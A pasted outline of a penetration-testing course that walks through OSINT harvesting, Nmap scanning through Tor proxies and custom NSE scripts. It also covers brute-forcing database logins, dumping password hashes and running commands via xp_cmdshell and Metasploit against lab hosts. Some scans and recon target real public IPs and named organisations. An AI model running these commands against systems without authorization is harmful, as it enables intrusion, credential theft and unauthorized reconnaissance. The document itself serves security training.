Advertisement
joemccray

Ultimate Pentesting

Oct 31st, 2016
7,166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 60.47 KB | None | 0 0
  1. ########################################
  2. # Ultimate Penetration Testing #
  3. # By Joe McCray of Strategic Security #
  4. ########################################
  5.  
  6.  
  7.  
  8. #########################
  9. # Class Virtual Machine #
  10. #########################
  11.  
  12.  
  13. Here is the VMWare virtual machine for the class:
  14.  
  15. https://s3-us-west-2.amazonaws.com/infosecaddicts/InfoSecAddictsVM.zip
  16. user: infosecaddicts
  17. pass: infosecaddicts
  18.  
  19.  
  20.  
  21.  
  22.  
  23. ################
  24. # Day 1: OSINT #
  25. ################
  26. OK - it's time to get rollin!!!!!! I know that you are probably ready to scan the entire planet but I want you to do some Open Source Intelligence (OSINT) first.
  27. Here is an an OSINT report that I did for a customer of mine a few years ago:
  28. https://s3.amazonaws.com/infosecaddicts-Files/OSINT_Innophos_11242010.doc
  29.  
  30. Let's see if you can do a better one than me....
  31.  
  32.  
  33. Here are a few places to start:
  34.  
  35. - Wikipedia Page
  36. - Are they Public or Private?
  37. - Does the target have any subsidiaries?
  38.  
  39. - Robtex
  40. - Show system map
  41.  
  42. - Netcraft
  43. - http://toolbar.netcraft.com/site_report
  44.  
  45. - Passive Recon (Firefox Add-on)
  46.  
  47.  
  48.  
  49.  
  50. Your first task:
  51. ----------------
  52. Use the OSINT_Innophos doc as a reference and perform/document an OSINT assessment against any one of the following companies:
  53. NSA
  54. HSBC
  55. Coke
  56. Exxon Mobil
  57. KPMG
  58. Accenture
  59. NewYork-Presbyterian Hospital
  60. Kroger
  61. Dillard's
  62. Royal Caribbean International
  63.  
  64.  
  65.  
  66. Tools that are good for OSINT:
  67. ------------------------------
  68. Here are some tools that I think you should consider using for this challenge:
  69. FOCA
  70. Maltego
  71. Search Diggity
  72. ShodanHQ
  73. PassiveRecon
  74. EDGAR
  75. theHarvester
  76. gxfr.py
  77. VisualRoute
  78.  
  79.  
  80.  
  81.  
  82.  
  83. ********************************** Begin Day 1 Homework Part 1 **********************************
  84. NOTE: Creating this OSINT Report IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
  85.  
  86.  
  87. You must create a MS WORD document titled 'FirstName-LastName-Ultimate-Pentesting-Day1-OSINT-Report.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-OSINT-Report.docx).
  88.  
  89. You must spell you name EXACTLY as you want it spelled on your class certificate.
  90.  
  91. IMPORTANT NOTE:
  92. Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
  93.  
  94.  
  95. ********************************** End Day 1 Homework Part 1 **********************************
  96.  
  97.  
  98.  
  99.  
  100. Email Harvesting
  101. ----------------
  102.  
  103. cd ~/toolz/
  104.  
  105. rm -rf theharvester-read-only/
  106.  
  107. sudo apt install -y python-pyasn1 python-pyasn1-modules
  108. infosecaddicts
  109.  
  110. git clone https://github.com/laramies/theHarvester.git
  111.  
  112. cd theHarvester/
  113.  
  114. python theHarvester.py
  115.  
  116. python theHarvester.py -d motorola.com -l 50 -b google
  117.  
  118. python theHarvester.py -d motorola.com -l 50 -b bing
  119.  
  120. python theHarvester.py -d motorola.com -l 50 -b linkedin
  121.  
  122. python theHarvester.py -d motorola.com -l 50 -b pgp
  123.  
  124.  
  125.  
  126.  
  127.  
  128. File Meta-Data Harvesting
  129. -------------------------
  130. cd ~/toolz/
  131.  
  132. sudo apt install -y python-pip
  133. infosecaddicts
  134.  
  135. sudo pip install google
  136. infosecaddicts
  137.  
  138. git clone https://github.com/opsdisk/metagoofil.git
  139.  
  140. cd metagoofil/
  141.  
  142.  
  143. python metagoofil.py -d motorola.com -t doc,pdf -l 100 -n 3 -o motorolafiles
  144.  
  145. exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -u
  146.  
  147.  
  148.  
  149.  
  150.  
  151. python metagoofil.py -d [domain name] -t doc,pdf -l 100 -n 3 -o motorolafiles
  152. Whereas:
  153.  
  154. -d : I used another domain name aside from Google.com to make it work
  155. -t : I asked for the program to search two types of public documents whuch are doc and pdf files
  156. -l : I limited the search result to 100 to make the process faster
  157. -n : I limited the downloads (files that are going to be downloaded to get their metadatas extracted) to only 3 to make the process faster
  158. -o : I directed the result of the compilation t motorolafiles, which is a file located inside the metagoofil directory (~/toolz/metagoofil/motorolafiles)
  159. -f : Save the html links to html_links_<TIMESTAMP>.txt file
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166. Github Info Harvesting
  167. ----------------------
  168. cd ~/toolz/
  169.  
  170. sudo pip install gitem
  171. infosecaddicts
  172.  
  173. gitem organization facebook
  174.  
  175.  
  176. gitem repository facebook react
  177.  
  178.  
  179. gitem --processes 4 user zpao
  180.  
  181.  
  182.  
  183.  
  184. Network Topology Enumeration
  185. ----------------------------
  186.  
  187. cd ~/toolz/
  188.  
  189. wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/gxfr.py
  190.  
  191. python gxfr.py --bxfr --dns-lookup -o
  192. motorola.com
  193. [ press enter ]
  194. cw1kxyUgMdkECBNMb1fGqKJ9sC1lznaR20fPJeIt45Y=
  195.  
  196.  
  197.  
  198.  
  199. cd ~/toolz/
  200.  
  201. rm -rf fierce2/
  202.  
  203. git clone https://github.com/mschwager/fierce.git
  204.  
  205. cd fierce
  206.  
  207. sudo apt install -y python3-pip
  208. infosecaddicts
  209.  
  210. sudo pip3 install -r requirements.txt
  211.  
  212. python3 fierce.py -h
  213.  
  214. python3 fierce.py --domain motorola.com --subdomains accounts admin ads
  215. Traverse IPs near discovered domains to search for contiguous blocks with the --traverse flag:
  216.  
  217. python3 fierce.py --domain facebook.com --subdomains admin --traverse 10
  218.  
  219.  
  220. Limit nearby IP traversal to certain domains with the --search flag:
  221.  
  222. python3 fierce.py --domain facebook.com --subdomains admin --search fb.com fb.net
  223.  
  224.  
  225. Attempt an HTTP connection on domains discovered with the --connect flag:
  226.  
  227. python3 fierce.py --domain stackoverflow.com --subdomains mail --connect
  228.  
  229.  
  230.  
  231.  
  232.  
  233.  
  234. Recon-NG (Metasploit for Recon):
  235. --------------------------------
  236. cd ~/toolz/
  237.  
  238. sudo apt install -y git python-pip python-dnspython python-mechanize python-slowaes python-xlsxwriter python-jsonrpclib python-lxml
  239. infosecaddicts
  240.  
  241. sudo pip install dicttoxml
  242. infosecaddicts
  243.  
  244.  
  245.  
  246. git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
  247. cd recon-ng
  248. ./recon-ng
  249.  
  250.  
  251.  
  252. At the prompt, let's type help in order to look at the commands we can use in Recon-ng.
  253.  
  254. recon-ng > help
  255.  
  256.  
  257. Note that many of these commands are nearly identical to Metasploit including back, set, use, search, show, and unset.
  258.  
  259. recon-ng > [ TAB ] [ TAB ]
  260.  
  261.  
  262.  
  263. To see all the modules in Recon-ng, we can type:
  264.  
  265. recon-ng > show [ TAB ] [ TAB ]
  266.  
  267.  
  268.  
  269. Ok, let's drive this thing....
  270.  
  271. recon-ng > show banner
  272.  
  273. recon-ng > show companies
  274.  
  275. recon-ng > show contacts
  276.  
  277. recon-ng > show credentials
  278.  
  279. recon-ng > show dashboard
  280.  
  281. recon-ng > show domains
  282.  
  283. recon-ng > show hosts
  284.  
  285. recon-ng > show keys
  286.  
  287. recon-ng > show leaks
  288.  
  289. recon-ng > show locations
  290.  
  291. recon-ng > show modules
  292.  
  293. recon-ng > show netblocks
  294.  
  295. recon-ng > show options
  296.  
  297. recon-ng > show ports
  298.  
  299. recon-ng > show profiles
  300.  
  301. recon-ng > show pushpins
  302.  
  303. recon-ng > show repositories
  304.  
  305. recon-ng > show schema
  306.  
  307. recon-ng > show vulnerabilities
  308.  
  309. recon-ng > show workspaces
  310.  
  311.  
  312.  
  313.  
  314.  
  315. When you have found a module that you would like to try the process is fairly straight forward.
  316.  
  317. Type, “use [Modulename]” to use the module
  318.  
  319. Type, “show info” to view information about the module
  320.  
  321. And then, “show options” to see what variables can be set
  322.  
  323. Set the option variables with “set [variable]”
  324.  
  325. Finally, type “run” to execute the module
  326.  
  327.  
  328.  
  329.  
  330.  
  331.  
  332. ********************************** Begin Day 1 Homework Part 2 **********************************
  333. NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
  334.  
  335.  
  336. You must take screenshots of the process of you registering at least 5 API keys, as well as screenshots of you using at least 10 Recon-NG modules against a target company.
  337.  
  338.  
  339. You must create a MS WORD document titled 'FirstName-LastName-Pentester-Ultimate-Pentesting-Day1-Recon-NG.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-Recon-NG.docx).
  340.  
  341. You must spell you name EXACTLY as you want it spelled on your class certificate.
  342.  
  343.  
  344. Reference links:
  345. http://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-part-1-getting-started-0169854/
  346. http://resources.infosecinstitute.com/basic-updated-guide-to-recon-ng-plus-new-modules-rundown/
  347.  
  348. IMPORTANT NOTE:
  349. Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
  350.  
  351. ********************************** End Day 1 Homework Part 2 **********************************
  352.  
  353.  
  354.  
  355.  
  356. ########################
  357. # Scanning Methodology #
  358. ########################
  359.  
  360. - Ping Sweep
  361. What's alive?
  362. ------------
  363. sudo nmap -sP 157.166.226.*
  364. infosecaddicts
  365.  
  366. -if -SP yields no results try:
  367.  
  368. sudo nmap -sL 157.166.226.*
  369. infosecaddicts
  370.  
  371. sudo nmap -sL 157.166.226.* | grep com
  372. infosecaddicts
  373.  
  374. - Port Scan
  375. What's where?
  376. ------------
  377. sudo nmap -sS 162.243.126.247
  378. infosecaddicts
  379.  
  380.  
  381. - Bannergrab/Version Query
  382. What versions of software are running
  383. -------------------------------------
  384. sudo nmap -sV 162.243.126.247
  385. infosecaddicts
  386.  
  387.  
  388. - Vulnerability Research
  389. Lookup the banner versions for public exploits
  390. ----------------------------------------------
  391. http://exploit-db.com
  392. http://securityfocus.com/bid
  393. https://packetstormsecurity.com/files/tags/exploit/
  394.  
  395.  
  396.  
  397. #######################################################
  398. # Day 1: 3rd Party Scanning, and scanning via proxies #
  399. #######################################################
  400.  
  401. https://www.shodan.io/
  402.  
  403. Create a FREE account and login
  404.  
  405. net:129.188.8.0/24
  406.  
  407.  
  408.  
  409. cd /home/infosecaddicts/toolz/
  410. perl proxyfinder-0.3.pl multiproxy 3 proxies.txt <-- This takes a long time to run
  411.  
  412.  
  413.  
  414. sudo vi /etc/proxychains.conf <--- Make sure that last line of the file is: socks4 127.0.0.1 9050
  415. infosecaddicts
  416.  
  417.  
  418.  
  419.  
  420. ----------------------------------------------------------------------
  421. vi ~/toolz/fix-proxychains-dns.sh
  422.  
  423. #!/bin/bash
  424. # This script is called by proxychains to resolve DNS names
  425. # DNS server used to resolve names
  426. # Reference: http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html
  427. DNS_SERVER=4.2.2.2
  428.  
  429. if [ $# = 0 ] ; then
  430. echo " usage:"
  431. echo " proxyresolv <hostname> "
  432. exit
  433. fi
  434.  
  435. export LD_PRELOAD=libproxychains.so.3
  436. dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'
  437. -----------------------------------------------------------------------
  438.  
  439.  
  440. sudo ntpdate pool.ntp.org
  441. infosecaddicts
  442.  
  443. tor-resolve infosecaddicts.com
  444.  
  445. proxychains nmap -sT -p80 162.243.126.247
  446.  
  447. proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 162.243.126.247
  448.  
  449.  
  450.  
  451.  
  452.  
  453.  
  454.  
  455. #########################
  456. # Playing with Nmap NSE #
  457. #########################
  458.  
  459. nmap -Pn -p80 --script ip-geolocation-* infosecaddicts.com
  460.  
  461. nmap -p80 --script dns-brute infosecaddicts.com
  462.  
  463. nmap --script http-robtex-reverse-ip secore.info
  464.  
  465. nmap -Pn -p80 --script=http-headers infosecaddicts.com
  466.  
  467.  
  468. ls /usr/share/nmap/scripts | grep http
  469. nmap -Pn -p80 --script=http-* infosecaddicts.com
  470.  
  471.  
  472.  
  473.  
  474. #####################################
  475. # Writing Your Own Nmap NSE Scripts #
  476. #####################################
  477.  
  478.  
  479. ----------------------------------------------------------------------
  480. sudo vi /usr/share/nmap/scripts/intro-nse.nse
  481.  
  482. -- The Head Section --
  483. -- The Rule Section --
  484. portrule = function(host, port)
  485. return port.protocol == "tcp"
  486. and port.number == 80
  487. and port.state == "open"
  488. end
  489.  
  490. -- The Action Section --
  491. action = function(host, port)
  492. return "Ultimate Pentesting!"
  493. end
  494. ----------------------------------------------------------------------
  495.  
  496. - Ok, now that we've made that change let's run the script
  497. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
  498.  
  499.  
  500.  
  501.  
  502.  
  503.  
  504. ----------------------------------------------------------------------
  505. sudo vi /usr/share/nmap/scripts/intro-nse.nse
  506.  
  507. -- The Head Section --
  508. local shortport = require "shortport"
  509.  
  510. -- The Rule Section --
  511. portrule = shortport.http
  512.  
  513.  
  514. -- The Action Section --
  515. action = function(host, port)
  516. return "Ultimate Pentesting!"
  517. end
  518. ----------------------------------------------------------------------
  519.  
  520. - Ok, now that we've made that change let's run the script
  521. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
  522.  
  523.  
  524.  
  525.  
  526.  
  527.  
  528.  
  529. OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year.
  530.  
  531. ----------------------------------------------------------------------
  532. sudo vi /usr/share/nmap/scripts/intro-nse.nse
  533.  
  534. -- The Head Section --
  535. local shortport = require "shortport"
  536. local http = require "http"
  537.  
  538. -- The Rule Section --
  539. portrule = shortport.http
  540.  
  541. -- The Action Section --
  542. action = function(host, port)
  543.  
  544. local uri = "/installing-metasploit-in-ubunt/"
  545. local response = http.get(host, port, uri)
  546. return response.status
  547.  
  548. end
  549. ----------------------------------------------------------------------
  550.  
  551. - Ok, now that we've made that change let's run the script
  552. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
  553.  
  554.  
  555.  
  556.  
  557. ----------------------------------------------------------------------
  558. sudo vi /usr/share/nmap/scripts/intro-nse.nse
  559.  
  560. -- The Head Section --
  561. local shortport = require "shortport"
  562. local http = require "http"
  563.  
  564. -- The Rule Section --
  565. portrule = shortport.http
  566.  
  567. -- The Action Section --
  568. action = function(host, port)
  569.  
  570. local uri = "/installing-metasploit-in-ubunt/"
  571. local response = http.get(host, port, uri)
  572.  
  573. if ( response.status == 200 ) then
  574. return response.body
  575. end
  576.  
  577. end
  578. ----------------------------------------------------------------------
  579.  
  580. - Ok, now that we've made that change let's run the script
  581. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
  582.  
  583.  
  584.  
  585.  
  586.  
  587.  
  588.  
  589.  
  590.  
  591. ----------------------------------------------------------------------
  592. sudo vi /usr/share/nmap/scripts/intro-nse.nse
  593.  
  594. -- The Head Section --
  595. local shortport = require "shortport"
  596. local http = require "http"
  597. local string = require "string"
  598.  
  599. -- The Rule Section --
  600. portrule = shortport.http
  601.  
  602. -- The Action Section --
  603. action = function(host, port)
  604.  
  605. local uri = "/installing-metasploit-in-ubunt/"
  606. local response = http.get(host, port, uri)
  607.  
  608. if ( response.status == 200 ) then
  609. local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
  610. return title
  611. end
  612.  
  613. end
  614. ----------------------------------------------------------------------
  615.  
  616. - Ok, now that we've made that change let's run the script
  617. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
  618.  
  619.  
  620.  
  621.  
  622.  
  623.  
  624.  
  625. ----------------------------------------------------------------------
  626. sudo vi /usr/share/nmap/scripts/intro-nse.nse
  627.  
  628. -- The Head Section --
  629. local shortport = require "shortport"
  630. local http = require "http"
  631. local string = require "string"
  632.  
  633. -- The Rule Section --
  634. portrule = shortport.http
  635.  
  636. -- The Action Section --
  637. action = function(host, port)
  638.  
  639. local uri = "/installing-metasploit-in-ubunt/"
  640. local response = http.get(host, port, uri)
  641.  
  642. if ( response.status == 200 ) then
  643. local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
  644.  
  645. if (title) then
  646. return "Vulnerable"
  647. else
  648. return "Not Vulnerable"
  649. end
  650. end
  651. end
  652.  
  653. ----------------------------------------------------------------------
  654.  
  655. - Ok, now that we've made that change let's run the script
  656. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
  657.  
  658.  
  659.  
  660. ********************************** Begin Day 1 Homework Part 3 **********************************
  661. NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
  662.  
  663. You must take screenshots of you performing all of the scanning tasks that we have done so far today
  664.  
  665. You must create a MS WORD document titled 'FirstName-LastName-Pentester-Ultimate-Pentesting-Day1-Adv-Scanning.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-Adv-Scanning.docx).
  666.  
  667. You must spell you name EXACTLY as you want it spelled on your class certificate.
  668.  
  669. IMPORTANT NOTE:
  670. Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
  671.  
  672. ********************************** End Day 1 Homework Part 3 **********************************
  673.  
  674.  
  675.  
  676.  
  677.  
  678.  
  679.  
  680.  
  681.  
  682.  
  683. ##########
  684. # Day 2: #
  685. ##########
  686.  
  687. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  688. Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
  689. If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
  690.  
  691. So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
  692. https://s3.amazonaws.com/infosecaddicts-Files/Strategic-Security-2016-VPN-Info.pdf
  693.  
  694. sudo nmap -sP 10.0.0.0/24
  695. infosecaddicts
  696.  
  697. sudo nmap -sL 10.0.0.0/24
  698. infosecaddicts
  699.  
  700. cd ~/toolz
  701.  
  702. wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
  703.  
  704. gcc ipcrawl.c -o ipcrawl
  705.  
  706. chmod 777 ipcrawl
  707.  
  708. ./ipcrawl 10.0.0.1 10.0.0.254
  709.  
  710.  
  711.  
  712. wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
  713.  
  714. gcc propecia.c -o propecia
  715.  
  716. sudo cp propecia /bin
  717. infosecaddicts
  718.  
  719. propecia 10.0.0 22
  720.  
  721. propecia 10.0.0 3389
  722.  
  723. nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open
  724.  
  725. nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}'
  726.  
  727. nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l
  728.  
  729. nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'
  730.  
  731. nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
  732.  
  733. #################################################
  734. # Screenshotting the Web Servers in the Network #
  735. #################################################
  736. cd ~/toolz/
  737. mkdir labscreenshots
  738. cd labscreenshots/
  739.  
  740.  
  741. wget http://download.gna.org/wkhtmltopdf/0.12/0.12.4/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
  742. tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
  743. cd wkhtmltox/bin/
  744. sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386
  745.  
  746.  
  747. cd ~/toolz/
  748. git clone git://github.com/SpiderLabs/Nmap-Tools.git
  749. cd Nmap-Tools/NSE/
  750. sudo cp http-screenshot.nse /usr/share/nmap/scripts/
  751. infosecaddicts
  752.  
  753. sudo nmap --script-updatedb
  754. infosecaddicts
  755.  
  756.  
  757. cd ~/toolz/labscreenshots/
  758. sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/infosecaddicts/labnet-ip-list.txt
  759. infosecaddicts
  760.  
  761.  
  762.  
  763.  
  764. vi screenshots.sh
  765.  
  766. #!/bin/bash
  767. printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
  768. ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
  769. printf "</BODY></HTML>" >> labnet-port-80-screenshots.html
  770.  
  771.  
  772.  
  773.  
  774.  
  775. sh screenshots.sh
  776.  
  777.  
  778.  
  779.  
  780. ##########################
  781. # Nmap NSE tricks to try #
  782. ##########################
  783. sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24
  784. infosecaddicts
  785.  
  786. sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24
  787. infosecaddicts
  788.  
  789. sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24
  790. infosecaddicts
  791.  
  792. sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24
  793. infosecaddicts
  794.  
  795. sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24
  796. infosecaddicts
  797.  
  798. sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24
  799. infosecaddicts
  800.  
  801. sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24
  802. infosecaddicts
  803.  
  804. sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24
  805. infosecaddicts
  806.  
  807. sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24
  808. infosecaddicts
  809.  
  810. sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24
  811. infosecaddicts
  812.  
  813. sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24
  814. infosecaddicts
  815.  
  816. sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
  817. infosecaddicts
  818.  
  819.  
  820. sudo nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" 10.0.0.0/24
  821. infosecaddicts
  822.  
  823.  
  824.  
  825.  
  826.  
  827.  
  828.  
  829.  
  830. ##########
  831. # Day 3: #
  832. ##########
  833.  
  834. mkdir ~/toolz/wordlists
  835. cd ~/toolz/wordlists
  836. echo dbo >> users.txt
  837. echo sa >> users.txt
  838. echo admin >> users.txt
  839. echo root >> users.txt
  840. echo password >> pass.txt
  841. echo pass >> pass.txt
  842. echo hello >> pass.txt
  843. echo goodbye >> pass.txt
  844. echo test >> pass.txt
  845. echo admin >> pass.txt
  846. echo db >> pass.txt
  847. echo god >> pass.txt
  848. echo 123 >> pass.txt
  849. echo letmein >> pass.txt
  850.  
  851.  
  852.  
  853.  
  854.  
  855.  
  856. #######################
  857. # Attacking Databases #
  858. #######################
  859. Attacking MySQL with Metasploit
  860. -------------------------------
  861. cd ~/toolz/metasploit
  862.  
  863. ./msfconsole
  864.  
  865. use auxiliary/scanner/mysql/mysql_version
  866. set RHOSTS 10.0.0.59
  867. run
  868.  
  869. use auxiliary/scanner/mysql/mysql_login
  870. set RHOSTS 10.0.0.59
  871. set USER_FILE /home/infosecaddicts/toolz/wordlists/users.txt
  872. set PASS_FILE /home/infosecaddicts/toolz/wordlists/pass.txt
  873. run
  874.  
  875. use auxiliary/admin/mysql/mysql_enum
  876. set RHOST 10.0.0.59
  877. set USERNAME root
  878. run
  879.  
  880. use auxiliary/scanner/mysql/mysql_hashdump
  881. set RHOSTS 10.0.0.59
  882. set USERNAME root
  883. run
  884.  
  885. exit -y
  886.  
  887.  
  888. $ mysql -h 10.0.0.59 -u root -p
  889. show databases;
  890.  
  891.  
  892.  
  893.  
  894.  
  895. Attacking Postgres with Metasploit
  896. ----------------------------------
  897. cd ~/toolz/metasploit
  898.  
  899. ./msfconsole
  900.  
  901. use auxiliary/scanner/postgres/postgres_login
  902. set RHOSTS 10.0.0.59
  903. run
  904.  
  905.  
  906.  
  907.  
  908. Identifying MSSQL Server
  909. -----------------------
  910.  
  911. propecia 10.0.0 1433
  912.  
  913.  
  914.  
  915.  
  916. Determine the Version
  917. ---------------------
  918.  
  919. nmap -sV -p 1433 10.0.0.9
  920. nmap -sV -p 1433 --script=ms-sql-info 10.0.0.9
  921.  
  922.  
  923.  
  924. Bruteforcing MSSQL
  925. ------------------
  926.  
  927. nmap -p1433 --script ms-sql-empty-password 10.0.0.9
  928.  
  929.  
  930. mkdir ~/toolz/wordlists
  931. cd ~/toolz/wordlists
  932. echo dbo >> customuser.txt
  933. echo sa >> customuser.txt
  934. echo admin >> customuser.txt
  935. echo password >> custompass.txt
  936. echo pass >> custompass.txt
  937. echo hello >> custompass.txt
  938. echo goodbye >> custompass.txt
  939. echo test >> custompass.txt
  940. echo admin >> custompass.txt
  941. echo db >> custompass.txt
  942. echo god >> custompass.txt
  943. echo 123 >> custompass.txt
  944. echo letmein >> custompass.txt
  945. echo database!23 >> custompass.txt
  946.  
  947.  
  948.  
  949.  
  950. nmap -sV -p 1433 --script=ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt 10.0.0.9
  951.  
  952.  
  953.  
  954. Extracting Data From MSSQL
  955. -------------------------
  956. nmap -sV -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
  957.  
  958. nmap -p1433 --script ms-sql-hasdbaccess.nse --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
  959.  
  960. nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
  961.  
  962. nmap -p1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
  963.  
  964. nmap -p1433 --script ms-sql-xp-cmdshell --script-args=ms-sql-xp-cmdshell.cmd='net users',mssql.username=sa,mssql.password=database\!23 10.0.0.9
  965.  
  966. nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
  967.  
  968.  
  969.  
  970.  
  971.  
  972.  
  973. Attacking MSSQL Server With Metasploit
  974. --------------------------------------
  975. cd ~/toolz/metasploit
  976.  
  977. ./msfconsole
  978.  
  979. use auxiliary/admin/mssql/mssql_sql
  980.  
  981. show options
  982.  
  983. set RHOST 10.0.0.9
  984.  
  985. set username sa
  986.  
  987. set password database!23
  988.  
  989. exploit
  990.  
  991.  
  992.  
  993.  
  994.  
  995.  
  996.  
  997.  
  998.  
  999. use auxiliary/admin/mssql/mssql_enum
  1000.  
  1001. show options
  1002.  
  1003. set RHOST 10.0.0.9
  1004.  
  1005. set username sa
  1006.  
  1007. set password database!23
  1008.  
  1009. exploit
  1010.  
  1011.  
  1012.  
  1013.  
  1014.  
  1015. use auxiliary/admin/mssql/mssql_exec
  1016.  
  1017. show options
  1018.  
  1019. set RHOST 10.0.0.9
  1020.  
  1021. set password database!23
  1022.  
  1023. set CMD cmd.exe /c ping localhost
  1024.  
  1025. exploit
  1026.  
  1027.  
  1028.  
  1029.  
  1030.  
  1031.  
  1032. ################################
  1033. # Attacking Big Data Solutions #
  1034. ################################
  1035.  
  1036. propecia 10.0.0 27017
  1037.  
  1038.  
  1039. sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
  1040. infosecaddicts
  1041.  
  1042.  
  1043.  
  1044.  
  1045. Big Data is quite the buzzword in our industry and MongoDB is one of the more popular Big Data solutions on the market.
  1046. There are others like CouchDB, and Cassandra, but for right now let's play with MongoDB.
  1047.  
  1048. One of the huge red flags with MongoDB is that its default configuration it has no user authentication, and no permissions.
  1049.  
  1050.  
  1051.  
  1052. sudo apt install -y git python-setuptools
  1053.  
  1054. cd ~/toolz
  1055.  
  1056. mkdir arsenal
  1057.  
  1058. cd arsenal
  1059.  
  1060. git clone https://github.com/tcstool/nosqlmap.git
  1061.  
  1062. cd nosqlmap
  1063.  
  1064. sudo python setup.py install
  1065. infosecaddicts
  1066.  
  1067. python nosqlmap.py
  1068.  
  1069. 1 (set options)
  1070. 10.0.0.59 (set target IP)
  1071.  
  1072.  
